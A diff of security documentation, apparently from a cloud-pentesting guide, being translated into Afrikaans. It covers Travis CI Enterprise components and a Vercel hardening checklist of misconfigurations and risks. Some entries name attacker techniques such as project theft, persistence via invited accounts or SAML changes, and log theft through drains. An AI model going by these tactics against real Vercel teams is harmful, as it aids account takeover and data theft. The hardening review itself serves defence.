|
||||
|
||||
Travis CI Enterprise is an **on-prem version of Travis CI**, which you can deploy **in your infrastructure**. Think of the ‘server’ version of Travis CI. Using Travis CI allows you to enable an easy-to-use Continuous Integration/Continuous Deployment (CI/CD) system in an environment, which you can configure and secure as you want to.
|
||||
Travis CI Enterprise is 'n **on-prem weergawe van Travis CI**, wat jy kan ontplooi **in jou infrastruktuur**. Dink aan die ‘bediener’ weergawe van Travis CI. Deur Travis CI te gebruik, kan jy 'n maklik-om-te-gebruik Kontinuïteitsintegrasie/Kontinuïteitsontplooiing (CI/CD) stelsel in 'n omgewing inskakel, wat jy kan konfigureer en beveilig soos jy wil.
|
||||
|
||||
**Travis CI Enterprise consists of two major parts:**
|
||||
**Travis CI Enterprise bestaan uit twee hoofdele:**
|
||||
|
||||
1. TCI **services** (or TCI Core Services), responsible for integration with version control systems, authorizing builds, scheduling build jobs, etc.
|
||||
2. TCI **Worker** and build environment images (also called OS images).
|
||||
1. TCI **dienste** (of TCI Kern Dienste), verantwoordelik vir integrasie met weergawebeheer stelsels, die autorisering van boue, die skedulering van bouwerk, ens.
|
||||
2. TCI **Werker** en bou omgewing beelde (ook genoem OS beelde).
|
||||
|
||||
**TCI Core services require the following:**
|
||||
**TCI Kern dienste vereis die volgende:**
|
||||
|
||||
1. A **PostgreSQL11** (or later) database.
|
||||
2. An infrastructure to deploy a Kubernetes cluster; it can be deployed in a server cluster or in a single machine if required
|
||||
3. Depending on your setup, you may want to deploy and configure some of the components on your own, e.g., RabbitMQ - see the [Setting up Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) for more details.
|
||||
1. 'n **PostgreSQL11** (of later) databasis.
|
||||
2. 'n infrastruktuur om 'n Kubernetes-kluster te ontplooi; dit kan in 'n bedienerkluster of op 'n enkele masjien ontplooi word indien nodig.
|
||||
3. Afhangende van jou opstelling, wil jy dalk sommige van die komponente op jou eie ontplooi en konfigureer, bv. RabbitMQ - sien die [Instelling van Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) vir meer besonderhede.
|
||||
|
||||
**TCI Worker requires the following:**
|
||||
**TCI Werker vereis die volgende:**
|
||||
|
||||
1. An infrastructure where a docker image containing the **Worker and a linked build image can be deployed**.
|
||||
2. Connectivity to certain Travis CI Core Services components - see the [Setting Up Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) for more details.
|
||||
1. 'n infrastruktuur waar 'n docker beeld wat die **Werker en 'n gekoppelde boubeeld kan ontplooi**.
|
||||
2. Verbondenheid met sekere Travis CI Kern Dienste komponente - sien die [Instelling van Werker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) vir meer besonderhede.
|
||||
|
||||
The amount of deployed TCI Worker and build environment OS images will determine the total concurrent capacity of Travis CI Enterprise deployment in your infrastructure.
|
||||
Die hoeveelheid ontplooide TCI Werker en bou omgewing OS beelde sal die totale gelyktydige kapasiteit van Travis CI Enterprise ontplooiing in jou infrastruktuur bepaal.
|
||||
|
||||
.png>)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -12,152 +12,149 @@ For a hardening review of **Vercel** you need to ask for a user with **Viewer ro
|
||||
|
||||
### General
|
||||
|
||||
**Purpose:** Manage fundamental project settings such as project name, framework, and build configurations.
|
||||
**Purpose:** Bestuur fundamentele projekinstellings soos projeknaam, raamwerk, en boukonfigurasies.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
- **Transfer**
|
||||
- **Misconfiguration:** Allows to transfer the project to another team
|
||||
- **Risk:** An attacker could steal the project
|
||||
- **Misconfiguration:** Laat toe om die projek na 'n ander span oor te dra
|
||||
- **Risk:** 'n Aanvaller kan die projek steel
|
||||
- **Delete Project**
|
||||
- **Misconfiguration:** Allows to delete the project 
|
||||
- **Risk:** Delete the prject
|
||||
- **Misconfiguration:** Laat toe om die projek te verwyder
|
||||
- **Risk:** Verwyder die projek
|
||||
|
||||
---
|
||||
|
||||
### Domains
|
||||
|
||||
**Purpose:** Manage custom domains, DNS settings, and SSL configurations.
|
||||
**Purpose:** Bestuur pasgemaakte domeine, DNS-instellings, en SSL-konfigurasies.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
- **DNS Configuration Errors**
|
||||
- **Misconfiguration:** Incorrect DNS records (A, CNAME) pointing to malicious servers.
|
||||
- **Risk:** Domain hijacking, traffic interception, and phishing attacks.
|
||||
- **Misconfiguration:** Onakkurate DNS rekords (A, CNAME) wat na kwaadwillige bedieners wys.
|
||||
- **Risk:** Domein kaap, verkeersafluistering, en phishing-aanvalle.
|
||||
- **SSL/TLS Certificate Management**
|
||||
- **Misconfiguration:** Using weak or expired SSL/TLS certificates.
|
||||
- **Risk:** Vulnerable to man-in-the-middle (MITM) attacks, compromising data integrity and confidentiality.
|
||||
- **Misconfiguration:** Gebruik van swak of vervalde SSL/TLS sertifikate.
|
||||
- **Risk:** Kwetsbaar vir man-in-the-middle (MITM) aanvalle, wat data-integriteit en vertroulikheid in gevaar stel.
|
||||
- **DNSSEC Implementation**
|
||||
- **Misconfiguration:** Failing to enable DNSSEC or incorrect DNSSEC settings.
|
||||
- **Risk:** Increased susceptibility to DNS spoofing and cache poisoning attacks.
|
||||
- **Misconfiguration:** Versuim om DNSSEC in te skakel of onakkurate DNSSEC-instellings.
|
||||
- **Risk:** Verhoogde kwesbaarheid vir DNS spoofing en cache vergiftiging aanvalle.
|
||||
- **Environment used per domain**
|
||||
- **Misconfiguration:** Change the environment used by the domain in production.
|
||||
- **Risk:** Expose potential secrets or functionalities taht shouldn't be available in production.
|
||||
- **Misconfiguration:** Verander die omgewing wat deur die domein in produksie gebruik word.
|
||||
- **Risk:** Stel potensiële geheime of funksies bloot wat nie in produksie beskikbaar moet wees nie.
|
||||
|
||||
---
|
||||
|
||||
### Environments
|
||||
|
||||
**Purpose:** Define different environments (Development, Preview, Production) with specific settings and variables.
|
||||
**Purpose:** Definieer verskillende omgewings (Ontwikkeling, Voorbeeld, Produksie) met spesifieke instellings en veranderlikes.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
- **Environment Isolation**
|
||||
- **Misconfiguration:** Sharing environment variables across environments.
|
||||
- **Risk:** Leakage of production secrets into development or preview environments, increasing exposure.
|
||||
- **Misconfiguration:** Deel omgewing veranderlikes oor omgewings.
|
||||
- **Risk:** Lek van produksie geheime in ontwikkeling of voorbeeld omgewings, wat blootstelling verhoog.
|
||||
- **Access to Sensitive Environments**
|
||||
- **Misconfiguration:** Allowing broad access to production environments.
|
||||
- **Risk:** Unauthorized changes or access to live applications, leading to potential downtimes or data breaches.
|
||||
- **Misconfiguration:** Laat breë toegang tot produksie omgewings toe.
|
||||
- **Risk:** Ongeoorloofde veranderinge of toegang tot lewendige toepassings, wat tot potensiële stilstand of datalekke kan lei.
|
||||
|
||||
---
|
||||
|
||||
### Environment Variables
|
||||
|
||||
**Purpose:** Manage environment-specific variables and secrets used by the application.
|
||||
**Purpose:** Bestuur omgewing-spesifieke veranderlikes en geheime wat deur die toepassing gebruik word.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
- **Exposing Sensitive Variables**
|
||||
- **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
|
||||
- **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
|
||||
- **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
|
||||
- **Risk:** Blootstelling van API sleutels, databasis akrediteer, of ander sensitiewe data aan die publiek, wat tot datalekke lei.
|
||||
- **Sensitive disabled**
|
||||
- **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
|
||||
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
|
||||
- **Shared Environment Variables**
|
||||
- **Misconfiguration:** These are env variables set at Team level and could also contain sensitive information.
|
||||
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
|
||||
- **Misconfiguration:** As gedeaktiveer (standaard) is dit moontlik om die waardes van die gegenereerde geheime te lees.
|
||||
- **Risk:** Verhoogde waarskynlikheid van toevallige blootstelling of ongeoorloofde toegang tot sensitiewe inligting.
|
||||
|
||||
---
|
||||
|
||||
### Git
|
||||
|
||||
**Purpose:** Configure Git repository integrations, branch protections, and deployment triggers.
|
||||
**Purpose:** Konfigureer Git-repository integrasies, tak beskermings, en ontplooiing triggers.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
- **Ignored Build Step (TODO)**
|
||||
- **Misconfiguration:** It looks like this option allows to configure a bash script/commands that will be executed when a new commit is pushed in Github, which could allow RCE.
|
||||
- **Risk:** TBD
|
||||
- **Misconfiguration:** Dit lyk of hierdie opsie toelaat om 'n bash skrip/opdragte te konfigureer wat uitgevoer sal word wanneer 'n nuwe verbintenis in Github gepush word, wat RCE kan toelaat.
|
||||
- **Risk:** TBD
|
||||
|
||||
---
|
||||
|
||||
### Integrations
|
||||
|
||||
**Purpose:** Connect third-party services and tools to enhance project functionalities.
|
||||
**Purpose:** Koppel derdeparty dienste en gereedskap om projek funksionaliteit te verbeter.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
- **Insecure Third-Party Integrations**
|
||||
- **Misconfiguration:** Integrating with untrusted or insecure third-party services.
|
||||
- **Risk:** Introduction of vulnerabilities, data leaks, or backdoors through compromised integrations.
|
||||
- **Misconfiguration:** Integrasie met onbetroubare of onveilige derdeparty dienste.
|
||||
- **Risk:** Invoering van kwesbaarhede, datalekke, of agterdeure deur gekompromitteerde integrasies.
|
||||
- **Over-Permissioned Integrations**
|
||||
- **Misconfiguration:** Granting excessive permissions to integrated services.
|
||||
- **Risk:** Unauthorized access to project resources, data manipulation, or service disruptions.
|
||||
- **Misconfiguration:** Te veel toestemmings aan geïntegreerde dienste toeken.
|
||||
- **Risk:** Ongeoorloofde toegang tot projek hulpbronne, data manipulasie, of diensonderbrekings.
|
||||
- **Lack of Integration Monitoring**
|
||||
- **Misconfiguration:** Failing to monitor and audit third-party integrations.
|
||||
- **Risk:** Delayed detection of compromised integrations, increasing the potential impact of security breaches.
|
||||
- **Misconfiguration:** Versuim om derdeparty integrasies te monitor en te oudit.
|
||||
- **Risk:** Vertraagde opsporing van gekompromitteerde integrasies, wat die potensiële impak van sekuriteitsbreuke verhoog.
|
||||
|
||||
---
|
||||
|
||||
### Deployment Protection
|
||||
|
||||
**Purpose:** Secure deployments through various protection mechanisms, controlling who can access and deploy to your environments.
|
||||
**Purpose:** Beveilig ontplooiings deur verskeie beskermingsmeganismes, wat beheer wie toegang kan hê en ontplooiing na jou omgewings kan doen.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
**Vercel Authentication**
|
||||
|
||||
- **Misconfiguration:** Disabling authentication or not enforcing team member checks.
|
||||
- **Risk:** Unauthorized users can access deployments, leading to data breaches or application misuse.
|
||||
- **Misconfiguration:** Deaktiveer autentisering of nie afdwing van spanlid kontroles nie.
|
||||
- **Risk:** Ongeoorloofde gebruikers kan toegang tot ontplooiings verkry, wat tot datalekke of toepassingsmisbruik kan lei.
|
||||
|
||||
**Protection Bypass for Automation**
|
||||
|
||||
- **Misconfiguration:** Exposing the bypass secret publicly or using weak secrets.
|
||||
- **Risk:** Attackers can bypass deployment protections, accessing and manipulating protected deployments.
|
||||
- **Misconfiguration:** Blootstelling van die omseil geheime publiek of gebruik van swak geheime.
|
||||
- **Risk:** Aanvallers kan ontplooiing beskermings omseil, toegang tot en manipulasie van beskermde ontplooiings verkry.
|
||||
|
||||
**Shareable Links**
|
||||
|
||||
- **Misconfiguration:** Sharing links indiscriminately or failing to revoke outdated links.
|
||||
- **Risk:** Unauthorized access to protected deployments, bypassing authentication and IP restrictions.
|
||||
- **Misconfiguration:** Deel skakels sonder onderskeid of versuim om verouderde skakels in te trek.
|
||||
- **Risk:** Ongeoorloofde toegang tot beskermde ontplooiings, wat autentisering en IP-beperkings omseil.
|
||||
|
||||
**OPTIONS Allowlist**
|
||||
|
||||
- **Misconfiguration:** Allowlisting overly broad paths or sensitive endpoints.
|
||||
- **Risk:** Attackers can exploit unprotected paths to perform unauthorized actions or bypass security checks.
|
||||
- **Misconfiguration:** Laat te breë paaie of sensitiewe eindpunte toe.
|
||||
- **Risk:** Aanvallers kan onbeskermde paaie benut om ongeoorloofde aksies uit te voer of sekuriteitskontroles om te se.
|
||||
|
||||
**Password Protection**
|
||||
|
||||
- **Misconfiguration:** Using weak passwords or sharing them insecurely.
|
||||
- **Risk:** Unauthorized access to deployments if passwords are guessed or leaked.
|
||||
- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
|
||||
- **Misconfiguration:** Gebruik van swak wagwoorde of om dit onveilig te deel.
|
||||
- **Risk:** Ongeoorloofde toegang tot ontplooiings as wagwoorde geraai of gelekt word.
|
||||
- **Note:** Beskikbaar op die **Pro** plan as deel van **Advanced Deployment Protection** vir 'n addisionele $150/maand.
|
||||
|
||||
**Deployment Protection Exceptions**
|
||||
|
||||
- **Misconfiguration:** Adding production or sensitive domains to the exception list inadvertently.
|
||||
- **Risk:** Exposure of critical deployments to the public, leading to data leaks or unauthorized access.
|
||||
- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
|
||||
- **Misconfiguration:** Voeg produksie of sensitiewe domeine per ongeluk by die uitsonderingslys.
|
||||
- **Risk:** Blootstelling van kritieke ontplooiings aan die publiek, wat tot datalekke of ongeoorloofde toegang kan lei.
|
||||
- **Note:** Beskikbaar op die **Pro** plan as deel van **Advanced Deployment Protection** vir 'n addisionele $150/maand.
|
||||
|
||||
**Trusted IPs**
|
||||
|
||||
- **Misconfiguration:** Incorrectly specifying IP addresses or CIDR ranges.
|
||||
- **Risk:** Legitimate users being blocked or unauthorized IPs gaining access.
|
||||
- **Note:** Available on the **Enterprise** plan.
|
||||
- **Misconfiguration:** Onakkuraat spesifisering van IP adresse of CIDR reekse.
|
||||
- **Risk:** Legitieme gebruikers wat geblokkeer word of ongeoorloofde IPs wat toegang verkry.
|
||||
- **Note:** Beskikbaar op die **Enterprise** plan.
|
||||
|
||||
---
|
||||
|
||||
### Functions
|
||||
|
||||
**Purpose:** Configure serverless functions, including runtime settings, memory allocation, and security policies.
|
||||
**Purpose:** Konfigureer serverless funksies, insluitend runtime instellings, geheue toewysing, en sekuriteitsbeleide.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
@@ -167,81 +164,81 @@ For a hardening review of **Vercel** you need to ask for a user with **Viewer ro
|
||||
|
||||
### Data Cache
|
||||
|
||||
**Purpose:** Manage caching strategies and settings to optimize performance and control data storage.
|
||||
**Purpose:** Bestuur caching strategieë en instellings om prestasie te optimaliseer en data berging te beheer.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
- **Purge Cache**
|
||||
- **Misconfiguration:** It allows to delete all the cache.
|
||||
- **Risk:** Unauthorized users deleting the cache leading to a potential DoS.
|
||||
- **Misconfiguration:** Dit laat toe om al die cache te verwyder.
|
||||
- **Risk:** Ongeoorloofde gebruikers wat die cache verwyder, wat tot 'n potensiële DoS kan lei.
|
||||
|
||||
---
|
||||
|
||||
### Cron Jobs
|
||||
|
||||
**Purpose:** Schedule automated tasks and scripts to run at specified intervals.
|
||||
**Purpose:** Skeduleer geoutomatiseerde take en skripte om op spesifieke tydperke te loop.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
- **Disable Cron Job**
|
||||
- **Misconfiguration:** It allows to disable cron jobs declared inside the code
|
||||
- **Risk:** Potential interruption of the service (depending on what the cron jobs were meant for)
|
||||
- **Misconfiguration:** Dit laat toe om cron jobs wat in die kode verklaar is, te deaktiveer.
|
||||
- **Risk:** Potensiële onderbreking van die diens (afhangende van waarvoor die cron jobs bedoel was)
|
||||
|
||||
---
|
||||
|
||||
### Log Drains
|
||||
|
||||
**Purpose:** Configure external logging services to capture and store application logs for monitoring and auditing.
|
||||
**Purpose:** Konfigureer eksterne logging dienste om toepassingslogs te vang en te stoor vir monitering en oudit.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
- Nothing (managed from teams settings)
|
||||
- Niks (bestuur vanaf spaninstellings)
|
||||
|
||||
---
|
||||
|
||||
### Security
|
||||
|
||||
**Purpose:** Central hub for various security-related settings affecting project access, source protection, and more.
|
||||
**Purpose:** Sentraal hub vir verskeie sekuriteitsverwante instellings wat projek toegang, bron beskerming, en meer beïnvloed.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
**Build Logs and Source Protection**
|
||||
|
||||
- **Misconfiguration:** Disabling protection or exposing `/logs` and `/src` paths publicly.
|
||||
- **Risk:** Unauthorized access to build logs and source code, leading to information leaks and potential exploitation of vulnerabilities.
|
||||
- **Misconfiguration:** Deaktiveer beskerming of blootstelling van `/logs` en `/src` paaie publiek.
|
||||
- **Risk:** Ongeoorloofde toegang tot boulogs en bronkode, wat tot inligtinglekke en potensiële uitbuiting van kwesbaarhede kan lei.
|
||||
|
||||
**Git Fork Protection**
|
||||
|
||||
- **Misconfiguration:** Allowing unauthorized pull requests without proper reviews.
|
||||
- **Risk:** Malicious code can be merged into the codebase, introducing vulnerabilities or backdoors.
|
||||
- **Misconfiguration:** Laat ongeoorloofde pull versoeke toe sonder behoorlike hersienings.
|
||||
- **Risk:** Kwaadwillige kode kan in die kodebasis saamgevoeg word, wat kwesbaarhede of agterdeure inbring.
|
||||
|
||||
**Secure Backend Access with OIDC Federation**
|
||||
|
||||
- **Misconfiguration:** Incorrectly setting up OIDC parameters or using insecure issuer URLs.
|
||||
- **Risk:** Unauthorized access to backend services through flawed authentication flows.
|
||||
- **Misconfiguration:** Onakkurate opstelling van OIDC parameters of gebruik van onveilige issuer URL's.
|
||||
- **Risk:** Ongeoorloofde toegang tot agtergrond dienste deur gebrekkige autentisering vloei.
|
||||
|
||||
**Deployment Retention Policy**
|
||||
|
||||
- **Misconfiguration:** Setting retention periods too short (losing deployment history) or too long (unnecessary data retention).
|
||||
- **Risk:** Inability to perform rollbacks when needed or increased risk of data exposure from old deployments.
|
||||
- **Misconfiguration:** Stel retensieperiodes te kort (verlies van ontplooiing geskiedenis) of te lank (onnodige data retensie).
|
||||
- **Risk:** Onvermoë om terug te rol wanneer nodig of verhoogde risiko van datablootstelling van ou ontplooiings.
|
||||
|
||||
**Recently Deleted Deployments**
|
||||
|
||||
- **Misconfiguration:** Not monitoring deleted deployments or relying solely on automated deletions.
|
||||
- **Risk:** Loss of critical deployment history, hindering audits and rollbacks.
|
||||
- **Misconfiguration:** Nie monitering van verwyderde ontplooiings of slegs op outomatiese verwyderings vertrou nie.
|
||||
- **Risk:** Verlies van kritieke ontplooiing geskiedenis, wat oudit en terugrols bemoeilik.
|
||||
|
||||
---
|
||||
|
||||
### Advanced
|
||||
|
||||
**Purpose:** Access to additional project settings for fine-tuning configurations and enhancing security.
|
||||
**Purpose:** Toegang tot addisionele projekinstellings vir fyninstelling van konfigurasies en verbetering van sekuriteit.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
**Directory Listing**
|
||||
|
||||
- **Misconfiguration:** Enabling directory listing allows users to view directory contents without an index file.
|
||||
- **Risk:** Exposure of sensitive files, application structure, and potential entry points for attacks.
|
||||
- **Misconfiguration:** Aktivering van gidslys laat gebruikers toe om gidsinhoud te sien sonder 'n indekslêer.
|
||||
- **Risk:** Blootstelling van sensitiewe lêers, toepassingsstruktuur, en potensiële toegangspunte vir aanvalle.
|
||||
|
||||
---
|
||||
|
||||
@@ -253,13 +250,13 @@ For a hardening review of **Vercel** you need to ask for a user with **Viewer ro
|
||||
|
||||
**Enable Attack Challenge Mode**
|
||||
|
||||
- **Misconfiguration:** Enabling this improves the defenses of the web application against DoS but at the cost of usability
|
||||
- **Risk:** Potential user experience problems.
|
||||
- **Misconfiguration:** Aktivering hiervan verbeter die verdediging van die webtoepassing teen DoS, maar ten koste van bruikbaarheid.
|
||||
- **Risk:** Potensiële gebruikerservaring probleme.
|
||||
|
||||
### Custom Rules & IP Blocking
|
||||
|
||||
- **Misconfiguration:** Allows to unblock/block traffic
|
||||
- **Risk:** Potential DoS allowing malicious traffic or blocking benign traffic
|
||||
- **Misconfiguration:** Laat toe om verkeer te ontbloek/blokkeer.
|
||||
- **Risk:** Potensiële DoS wat kwaadwillige verkeer toelaat of goedaardige verkeer blokkeer.
|
||||
|
||||
---
|
||||
|
||||
@@ -267,13 +264,13 @@ For a hardening review of **Vercel** you need to ask for a user with **Viewer ro
|
||||
|
||||
### Source
|
||||
|
||||
- **Misconfiguration:** Allows access to read the complete source code of the application
|
||||
- **Risk:** Potential exposure of sensitive information
|
||||
- **Misconfiguration:** Laat toegang toe om die volledige bronkode van die toepassing te lees.
|
||||
- **Risk:** Potensiële blootstelling van sensitiewe inligting.
|
||||
|
||||
### Skew Protection
|
||||
|
||||
- **Misconfiguration:** This protection ensures the client and server application are always using the same version so there is no desynchronizations were the client uses a different version from the server and therefore they don't understand each other.
|
||||
- **Risk:** Disabling this (if enabled) could cause DoS problems in new deployments in the future
|
||||
- **Misconfiguration:** Hierdie beskerming verseker dat die kliënt en bediener toepassing altyd dieselfde weergawe gebruik sodat daar geen desynchronisasies is waar die kliënt 'n ander weergawe as die bediener gebruik nie en daarom verstaan hulle mekaar nie.
|
||||
- **Risk:** Deaktivering hiervan (as geaktiveer) kan DoS probleme in nuwe ontplooiings in die toekoms veroorsaak.
|
||||
|
||||
---
|
||||
|
||||
@@ -284,11 +281,11 @@ For a hardening review of **Vercel** you need to ask for a user with **Viewer ro
|
||||
#### Security Configurations:
|
||||
|
||||
- **Transfer**
|
||||
- **Misconfiguration:** Allows to transfer all the projects to another team
|
||||
- **Risk:** An attacker could steal the projects
|
||||
- **Misconfiguration:** Laat toe om al die projekte na 'n ander span oor te dra.
|
||||
- **Risk:** 'n Aanvaller kan die projekte steel.
|
||||
- **Delete Project**
|
||||
- **Misconfiguration:** Allows to delete the team with all the projects 
|
||||
- **Risk:** Delete the projects
|
||||
- **Misconfiguration:** Laat toe om die span met al die projekte te verwyder.
|
||||
- **Risk:** Verwyder die projekte.
|
||||
|
||||
---
|
||||
|
||||
@@ -297,8 +294,8 @@ For a hardening review of **Vercel** you need to ask for a user with **Viewer ro
|
||||
#### Security Configurations:
|
||||
|
||||
- **Speed Insights Cost Limit**
|
||||
- **Misconfiguration:** An attacker could increase this number
|
||||
- **Risk:** Increased costs
|
||||
- **Misconfiguration:** 'n Aanvaller kan hierdie nommer verhoog.
|
||||
- **Risk:** Verhoogde koste.
|
||||
|
||||
---
|
||||
|
||||
@@ -307,11 +304,11 @@ For a hardening review of **Vercel** you need to ask for a user with **Viewer ro
|
||||
#### Security Configurations:
|
||||
|
||||
- **Add members**
|
||||
- **Misconfiguration:** An attacker could maintain persitence inviting an account he control
|
||||
- **Risk:** Attacker persistence
|
||||
- **Misconfiguration:** 'n Aanvaller kan volharding handhaaf deur 'n rekening wat hy beheer, uit te nooi.
|
||||
- **Risk:** Aanvaller volharding.
|
||||
- **Roles**
|
||||
- **Misconfiguration:** Granting too many permissions to people that doesn't need it increases the risk of the vercel configuration. Check all the possible roles in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
|
||||
- **Risk**: Increate the exposure of the Vercel Team
|
||||
- **Misconfiguration:** Te veel toestemmings aan mense wat dit nie nodig het nie, verhoog die risiko van die Vercel konfigurasie. Kontroleer al die moontlike rolle in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
|
||||
- **Risk**: Verhoog die blootstelling van die Vercel Span.
|
||||
|
||||
---
|
||||
|
||||
@@ -321,11 +318,11 @@ An **Access Group** in Vercel is a collection of projects and team members with
|
||||
|
||||
**Potential Misconfigurations:**
|
||||
|
||||
- **Over-Permissioning Members:** Assigning roles with more permissions than necessary, leading to unauthorized access or actions.
|
||||
- **Improper Role Assignments:** Incorrectly assigning roles that do not align with team members' responsibilities, causing privilege escalation.
|
||||
- **Lack of Project Segregation:** Failing to separate sensitive projects, allowing broader access than intended.
|
||||
- **Insufficient Group Management:** Not regularly reviewing or updating Access Groups, resulting in outdated or inappropriate access permissions.
|
||||
- **Inconsistent Role Definitions:** Using inconsistent or unclear role definitions across different Access Groups, leading to confusion and security gaps.
|
||||
- **Over-Permissioning Members:** Toeken van rolle met meer toestemmings as wat nodig is, wat lei tot ongeoorloofde toegang of aksies.
|
||||
- **Improper Role Assignments:** Onakkurate toekenning van rolle wat nie ooreenstem met spanlede se verantwoordelikhede nie, wat privilige eskalasie veroorsaak.
|
||||
- **Lack of Project Segregation:** Versuim om sensitiewe projekte te skei, wat breër toegang toelaat as wat bedoel is.
|
||||
- **Insufficient Group Management:** Nie gereeld hersiening of opdatering van Toegangsgroepe nie, wat lei tot verouderde of onvanpaste toegangstoestemmings.
|
||||
- **Inconsistent Role Definitions:** Gebruik van inkonsekwente of onduidelike rol definisies oor verskillende Toegangsgroepe, wat lei tot verwarring en sekuriteitsgappe.
|
||||
|
||||
---
|
||||
|
||||
@@ -334,8 +331,8 @@ An **Access Group** in Vercel is a collection of projects and team members with
|
||||
#### Security Configurations:
|
||||
|
||||
- **Log Drains to third parties:**
|
||||
- **Misconfiguration:** An attacker could configure a Log Drain to steal the logs
|
||||
- **Risk:** Partial persistence
|
||||
- **Misconfiguration:** 'n Aanvaller kan 'n Log Drain konfigureer om die logs te steel.
|
||||
- **Risk:** Gedeeltelike volharding.
|
||||
|
||||
---
|
||||
|
||||
@@ -343,99 +340,95 @@ An **Access Group** in Vercel is a collection of projects and team members with
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
- **Team Email Domain:** When configured, this setting automatically invites Vercel Personal Accounts with email addresses ending in the specified domain (e.g., `mydomain.com`) to join your team upon signup and on the dashboard.
|
||||
- **Misconfiguration:** 
|
||||
- Specifying the wrong email domain or a misspelled domain in the Team Email Domain setting.
|
||||
- Using a common email domain (e.g., `gmail.com`, `hotmail.com`) instead of a company-specific domain.
|
||||
- **Risks:**
|
||||
- **Unauthorized Access:** Users with email addresses from unintended domains may receive invitations to join your team.
|
||||
- **Data Exposure:** Potential exposure of sensitive project information to unauthorized individuals.
|
||||
- **Protected Git Scopes:** Allows you to add up to 5 Git scopes to your team to prevent other Vercel teams from deploying repositories from the protected scope. Multiple teams can specify the same scope, allowing both teams access.
|
||||
- **Misconfiguration:** Not adding critical Git scopes to the protected list.
|
||||
- **Team Email Domain:** Wanneer geconfigureer, nooi hierdie instelling outomaties Vercel Persoonlike Rekeninge met e-pos adresse wat eindig op die gespesifiseerde domein (bv. `mydomain.com`) is om jou span te sluit by registrasie en op die dashboard.
|
||||
- **Misconfiguration:**
|
||||
- Spesifisering van die verkeerde e-pos domein of 'n verkeerd gespelde domein in die Span E-pos Domein instelling.
|
||||
- Gebruik van 'n algemene e-pos domein (bv. `gmail.com`, `hotmail.com`) in plaas van 'n maatskappy-spesifieke domein.
|
||||
- **Risks:**
|
||||
- **Unauthorized Deployments:** Other teams may deploy repositories from your organization's Git scopes without authorization.
|
||||
- **Intellectual Property Exposure:** Proprietary code could be deployed and accessed outside your team.
|
||||
- **Environment Variable Policies:** Enforces policies for the creation and editing of the team's environment variables. Specifically, you can enforce that all environment variables are created as **Sensitive Environment Variables**, which can only be decrypted by Vercel's deployment system.
|
||||
- **Misconfiguration:** Keeping the enforcement of sensitive environment variables disabled.
|
||||
- **Risks:**
|
||||
- **Exposure of Secrets:** Environment variables may be viewed or edited by unauthorized team members.
|
||||
- **Data Breach:** Sensitive information like API keys and credentials could be leaked.
|
||||
- **Audit Log:** Provides an export of the team's activity for up to the last 90 days. Audit logs help in monitoring and tracking actions performed by team members.
|
||||
- **Misconfiguration:**\
|
||||
Granting access to audit logs to unauthorized team members.
|
||||
- **Risks:**
|
||||
- **Privacy Violations:** Exposure of sensitive user activities and data.
|
||||
- **Tampering with Logs:** Malicious actors could alter or delete logs to cover their tracks.
|
||||
- **SAML Single Sign-On:** Allows customization of SAML authentication and directory syncing for your team, enabling integration with an Identity Provider (IdP) for centralized authentication and user management.
|
||||
- **Misconfiguration:** An attacker could backdoor the Team setting up SAML parameters such as Entity ID, SSO URL, or certificate fingerprints.
|
||||
- **Risk:** Maintain persistence
|
||||
- **IP Address Visibility:** Controls whether IP addresses, which may be considered personal information under certain data protection laws, are displayed in Monitoring queries and Log Drains.
|
||||
- **Misconfiguration:** Leaving IP address visibility enabled without necessity.
|
||||
- **Risks:**
|
||||
- **Privacy Violations:** Non-compliance with data protection regulations like GDPR.
|
||||
- **Legal Repercussions:** Potential fines and penalties for mishandling personal data.
|
||||
- **IP Blocking:** Allows the configuration of IP addresses and CIDR ranges that Vercel should block requests from. Blocked requests do not contribute to your billing.
|
||||
- **Misconfiguration:** Could be abused by an attacker to allow malicious traffic or block legit traffic.
|
||||
- **Risks:**
|
||||
- **Service Denial to Legitimate Users:** Blocking access for valid users or partners.
|
||||
- **Operational Disruptions:** Loss of service availability for certain regions or clients.
|
||||
- **Unauthorized Access:** Gebruikers met e-pos adresse van onbedoelde domeine mag uitnodigings ontvang om by jou span aan te sluit.
|
||||
- **Data Exposure:** Potensiële blootstelling van sensitiewe projekinligting aan ongeoorloofde individue.
|
||||
- **Protected Git Scopes:** Laat jou toe om tot 5 Git scopes aan jou span toe te voeg om te voorkom dat ander Vercel spanne repositories van die beskermde omvang ontplooi. Meerdere spanne kan dieselfde omvang spesifiseer, wat beide spanne toegang gee.
|
||||
